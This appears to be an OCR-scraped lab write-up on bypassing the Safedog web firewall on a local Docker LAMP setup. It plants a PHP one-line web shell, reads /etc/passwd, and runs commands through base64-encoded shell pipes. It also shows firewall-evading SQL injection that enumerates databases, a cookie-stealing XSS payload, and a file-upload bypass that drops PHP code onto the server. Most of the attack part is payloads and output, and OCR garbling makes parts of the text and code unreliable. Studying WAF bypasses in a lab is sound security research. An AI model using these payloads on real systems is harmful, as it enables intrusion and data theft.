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docker run -it -d --name mysql_dev -p 3307:3306 -e MYSQL_ROOT_PASSWORD=root mysql:5.6 --character-se
# mysql

docker run -d -it -p 80:80 --link mysql_dev -v $(pwd):/var/www/html centos:7 /bin/bash
# HLF— E A Mubuntull] R4S irubuntu LEETH Fiffcentos i

yum -y update

yum -y install httpd python mysql vim

yum -y install php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring pl
httpd -k start

#lamp H 55

fEfERE TEZ e, docker IR 64 i, IEEMEK

0

TEARE AT . /install.py

XEHMER, (RREEBIRASLEIINAIEHMT 1.

[root@e8b93bf53403 safedog_an_linux64_2.8.212071# ./install.py
Need system command 'locate' to install safedog for linux.

Installation aborted!

(https://xzfile.aliyuncs.com/media/upload/picture/20200709130838-3f69f700-c1a2-
1.png)

T}'I,?i' yum -y install file mlocate Bﬁﬁé%éi ./install.py
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[root@e8b93bf53403 safedog_an_linux64_2.8.21207]# ./install.py
extracting files ...

Warning: Web defense module will restart web process during installation!!:
Web defense module select: 1.apache 2.nginx . Input(Ctrl-C to skip web defense module installation): 1
step 1/3, start install common lib [ok]
step 2/3, start Install Server Defense Module
step 2.1, checking os release version... [ok]
/dev/mem: No such file or directory
sh: chattr: command not found
step 2.2, installing file... [ok]
step 2.3, start service... [ok]
step 2.4, save safedog instdll info...
Tips:
(1)safedog install directory: /etc/safedog
(2)install safedog version: 2.8.21207
install safedog completely

step 3/3,
step 3.
step 3.
3.

3.

3.

start install Apache Defense Module. .
, start install Apache Defend Module. ..
, copy libraries
, copy bin

step
step
step

Install apache defense module succeed.
restart the apache server..send command to server ok.
[ok]
Tips:
(1If you want to change the configuration of apache defense module, please modify the files in /etc/safedog/apache/conf;
(2)If you want to check apache defense module log, please use command: sdalog;
(3)If apache defense module is failed to use, you can try to restart Apache service.
Installation is complete!

(https://xzfile.aliyuncs.com/media/upload/picture/20200709130838-3f9e7ab6-c1a2-
1.png)
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cat >/var/www/html/index.php<<EOF
<?php

$_GET[@]($_GET[1]);

EOF

iG] http://127.0.0.1/?0=readfile&1=file:///etc/passwd (http://127.0.0.1/?
O=readfile&1=file:///etc/passwd) K 7 HFHXT T
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© ® 127.0.0.1/?0=readfile&1=file:///etc/passwd B e B W )

BHERFELSESY, CHNEEERGEES!
AEERE: SRZNABESBMRINKEER

WfIRER:

1) BERRAE:;
2) WMWIGHEE, EHRAZERMNE;
3) BEWIEAE, EHRANGEEER;

(https://xzfile.aliyuncs.com/media/upload/picture/20200709130838-3fd95a28-c1a2-
1.pnQg)
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http://127.0.0.1/?0=readfile&1=file:///etc/passwd (http://127.0.0.1/?
O=readfile&1=file:///etc/passwd) KK

http://127.0.0.1/?0=readfile&1=/./etc/./passwd (http://127.0.0.1/?
O=readfile&1=/./etc/./passwd) EIFTEIF + FEXTERIREUT


https://xzfile.aliyuncs.com/media/upload/picture/20200709130838-3fd95a28-c1a2-1.png
http://127.0.0.1/?0=readfile&1=file:///etc/passwd
http://127.0.0.1/?0=readfile&1=/./etc/./passwd
https://xzfile.aliyuncs.com/media/upload/picture/20200709130839-40073e34-c1a2-1.png

C # view-source:http://127.0.0.1/?0=readfile&1=/./etc/./passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin

:Xp14:50:FTP U : ftp: i logi
(https://xZ5IBAIVARes SOMLRe e/ IR picare720200709130839-40073e34-c Ta2-
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
143”9) dbus:x:81:81:System message bus:/:/sbin/nologin
apache:x:48:48:Apache: /usr/share/httpd:/sbin/nologin

ST

XA.... ZEAR=EBIRDVE

e
&« C @ © @ 127.0.0.1/20=system&]=id

uid=48(apache) gid=48(apache) groups=48(apache)

(https://xzfile.aliyuncs.com/media/upload/picture/20200709130839-401cf436-c1a2-
1.png)
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hp?na X 127.0.0.1/?0=system&1=echo%20Y: X [R5 By A X http://127.0.0.1/20=readfile&1=/./e X +

0 ® 127.0.0.1/?0=system&1=cat /etc/passwd B e O & i}]
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BHBERTEFEZSYE, CHRMIEEERIREESE!
ARERE: BRRNATE2BMMKEHEER

fERRIR:

1) KERZAS;
2) WMMILFEE, FHRRZT HRHEE;
3) ZEMIATHE, BRAMISEER;

(https://xzfile.aliyuncs.com/media/upload/picture/20200709130840-4099f1e8-c1a2-
1.png)
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<« g © @® 127.0.0.1/20=system&T1=cat /./etc/./passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nc
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/va

User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:sy
/sbin/nologin

(https://xzfile.aliyuncs.com/media/upload/picture/20200709130840-40b1f360-c1a2-
1.png)
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linux EGAR baseb4 ©<, FLUBIEEBAImSH—ERI
base64 #i5

base64 -d &5

# su @ suanve 1n ~/Docker/safedog
echo "cat /etc/passwd" |baseo4

Y2FOI(91dGMvcGFzc3dkCg==

(https://xzfile.aliyuncs.com/media/upload/picture/20200709130840-40bd2a14-c1a2-
1.png)
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http://127.0.0.1/?0=system&1 =echo%20Y2F0IC9IdGMvcGFzc3dkCg==|base64%20-
d%20|sh (http://127.0.0.1/?
0=system&1=echo%20Y2F0IC9IdGMvcGFzc3dkCg==|base64%20-d%20|sh)
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@ Firefox Xt 4t ZE FE BE TIHA EO HEH

7©2.168.104.248/sal/user.nhp?nam X 127.0.0.1/20= system&1=echo%2LV X mg’??ydgﬂcjitﬂ’/d%,l b_

g @ © @ 127.0.0.1/20=system&1=echo Y2F0IC9IdGMvcGFzc3dkCg==|base64 -d |sh

1.png)
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/:
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin ¢

fr p:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Managem:
| S

SQlss
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link-> https://xz.aliyun.com/t/7572 (https://xz.aliyun.com/t/7572)
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@ Firefox X %% BE FHE BE IH BEO B

127.0.0.1/sql/user.php?name=admir X http://127.0.0.1/20=rd

192.168.104.248/sql/user.php?nal X 127.0.0.1/?0=system&1=ech0%20 X

&« Q o © @ 127.0.0.1/sql/user.php?name=admin‘order /*|--|*/--+ %0Aby 3%23&submit=$8%&

]ﬁ]username ]password
"T’admin ]admin

LN BE
(e eaT)

(https://xzfile.aliyuncs.com/media/upload/picture/20200709130840-4117f2be-c1a2-
1.png)

192.168.104.248/sql/user.php?na X 127.0.0.1/20=system&1=ech0%20 X 127.0.0.1/sql/user.php?name=admir X http://127.0.0.1/?0=readfile&1

&« c ©® ©  ® 127.0.0.1/sql/user.php?name=admin'/*!union*/ /*I*/ --+1%0Aselect 1,2,3 %23&submit=12%&

|E|username [password
|T|admin |admin

[1]2 3

NELA N A e

(https://xzfile.aliyuncs.com/media/upload/picture/20200709130841-413a67b8-c1a2-
1.png)


https://xzfile.aliyuncs.com/media/upload/picture/20200709130840-4117f2be-c1a2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200709130841-413a67b8-c1a2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200709130841-4160923a-c1a2-1.png

&« cC ® © ® 127.0.0.1/sql/user.php?name=admin'/*lunion*//*!*/--+1%0A%0ASELECT 1,2,concat(/*!schema_name*/) /* 8% | se» & &%

5

username [password

admin admin
information_schema
checkcenter

ctf

I'e k=L, com

ioc

mysql

opencar
performance_schema
train

yzmems

(https;//xzfile.aliyuncs.com/media/upload/picture/20200709130841-4160923a-c1a2-
1.png)
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192.168.104.248/sql/user.php?nam: X | 127.0.0.1/?0=system&1=echo%20Y: X 127.0.0.1/sql/user.php?name=admir X http://127.0.0.1/20=readfile&1=/./etc X | +

&« c @ ©  ® 127.0.0.1/sql/user.php?name=admin’/*!union*//*!*/--+1%0A%0ASELECT 1,2,concat(/*!table_name*/) /*!fr B& oo & T

lid[username [password
|1 admin admin

|1 2 msg
|1 2 users
BERMANRFPA 2%
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&« & Q ©  ® 127.0.0.1/sql/user.php?name=admin’/*lunion*//**/--+1%0A%0ASELECT 1,2,concat(/*lusername*/) /*!fror B& | oo & ﬁ {}

id lusername |password
1 ladmin admin
112 admin
[1][2 [test
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192.168.104.248/sql/user.php?nam: X 127.0.0.1/20=system&1=echo%20Y~ X 127.0.0.1/sql/user.php?name=admir X http://127.0.0.1/20=readfile&1=/./etc X

& C ® © @ 127.0.0.1/sql/user.php?name=admin’/*lunion*//*!*/--+1%0ASELECT 1,@s:=user/**/() 1%23&submit=12%& FF e
fid[username [password
1 |admin admin

=

root@172.17.0.51
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<svg/onload=alert(document.cookie)>

http://127.0.0.1/xss/1.php?
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4 (http://127.0.0.1/xss/1.php?
name=%3Csvg/onload=alert(document.cookie)%3E&submit=%E6%8F%90%E4%BA%A
4)


https://xzfile.aliyuncs.com/media/upload/picture/20200709130841-41a26ffc-c1a2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200709130842-41d28890-c1a2-1.png
http://127.0.0.1/xss/1.php?name=%3Csvg/onload=alert(document.cookie)%3E&submit=%E6%8F%90%E4%BA%A4

ieiiifosoni g ; R

O
@ - X @ ‘@ ® 127.0.0.1/xss/1.php?name=<svg/onload=alert(document.cookie)>&submit=$23% B e B & ﬁ‘

XDEBUG_SESSION=PHPSTORM; info=0; PHPSESSID=ofvre1j9c5asn4b3kegpp8j6f6
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<?php
session_start();
if (empty($_SESSION['token']1)){
die("access faild");
}
$temp = explode(".", $_FILES["file"]["name"]1);
echo $_FILES["file"]l["size"];
if ((C$_FILES["file"1["type"] = "image/gif")
|l ($_FILES["file"]["type"]l = "image/jpeg")
|| ($_FILES["file"1["type"]l = "image/jpg")
Il C$_FILESL"file"]1["type"]l = "image/pjpeg")
Il C$_FILESL"file"]1["type"]l = "image/x-png")
|| C$_FILESL"file"]1["type"]l = "image/png"))
& ($_FILES["file"]["size"] < 20u800)){
if ($_FILES["file"]["error"] > 0){
echo "£&i%: : " . $_FILES["file"]["error"] . "<br>";
lelse{
echo " EfEXMHR: " . $_FILES["file"]I["name"] . "<br>";
echo "Xf§Z8I: " . $_FILES["file"]["type"] . “"<br>";
echo "X K/v: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "XHIGRIZAEMME: " . $_FILES["file"]["tmp_name"] . "<br>";
if (file_exists("upload/" . $_FILES["file"I["name"]1)){
echo $_FILES["file"]l["name"] . " XHELEFE. ";
}else{
move_aprosaad fila($_iFILESL rFile’ I "tnp_nane"], “‘file,/" . $_FILISI"File'ii"namz"13;
echo "N{47ZfE7E: " . "file/" . $_FILES["file"1["name"];

}
}
eisei

echo "IEEMIXHER";
}

7>
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Burp Project Intruder Repeater Window Logger++ Help
[ Dashboard | Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Logger++ | Passive Scan Client |

1x|2x|3x|4x[9x 11 x [12 x [ 14 x [15 x [16 x [17 x [19 x [20 x |21 x |22 x |23 x

Target: http://127.00.1 2 (3)

Request

Raw | Headers | Hex | Render

Response

Raw | Params | Headers | Hex
1 POST /uplaad/uplaad php HTTP/1.1 A 1 HTTP/1.1 200 OK A
2 Host: 127.0.0. - 2 Date: Thu, 09 Jul 2 04 :35 r
3 User-Agent: Mclela/S 0 (Macintosh; Intel Mac 0S X 10.15; rv:77.0) Gecko/ZUIODIOI Firefox/77.0 3 Server: Apache/2.4. 6 (CentOSi PHP/S 4.16

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 4 X-Powered-By: PHP/5.4.

5 Accept-Language: zh-CN,zh;q= =08, Z0-TW;q=0. 7, 2b-HK; g=0.5, en~US;q=0.3,en; 0.2 5 Expires: Thu, 19 Nov 1581 08:52:00 anr

6 Accept-Encoding: gzip, defl 6 Cache-Control: no-store, no-cache, lidate, p k=

7 'ype: multipart/f: 5 7 Pragma: no-ca

149524323020837576111081764040 8 Concenc—Length: 165

& Content-] Length 366 9 Connection: clo:

9 Origin: http://127.0.0.1 10 Content-Type: text/html, charset=UTF-8
10 Connection: close 11

: http://127.0.0.1/upload/ 12 26LfEX{4%: php.php<br>X %A : image/png<br>X{FA/N: 0.025390625 kB<br>{FIGRI7ZAEA0MIE
e ohpsoe S T AL £i16/ phpbhn

XDEBUG_SESSION=PHPSTORM; info=0; PHPSESSID=ofvrelj9cSasndb3kegpp8j6L6
13 Upgrade-Insecure-Requests: 1

149524323020837576111081764040
orm-data; name="file"; filename=

5
1§ Content -Disposition:

(htt[j?“#mﬂleyallyu ncs. com/ media/upload/picture/20200709130843-42e7dbe0-c1a2-

zz e
5 7ohp phpinfo();
1 n --149524323020837576111081764040
. ntent-Disposition: form-data; name="submit”

28 2%
2

---149524323020837576111081764040-~

30

127.0.0.1/upload/upload.php phpinfo()
(€ c @
©YPNG

© ® 127.0.0.1/upload/file/php.php

Done

506 bytes | 18 millis
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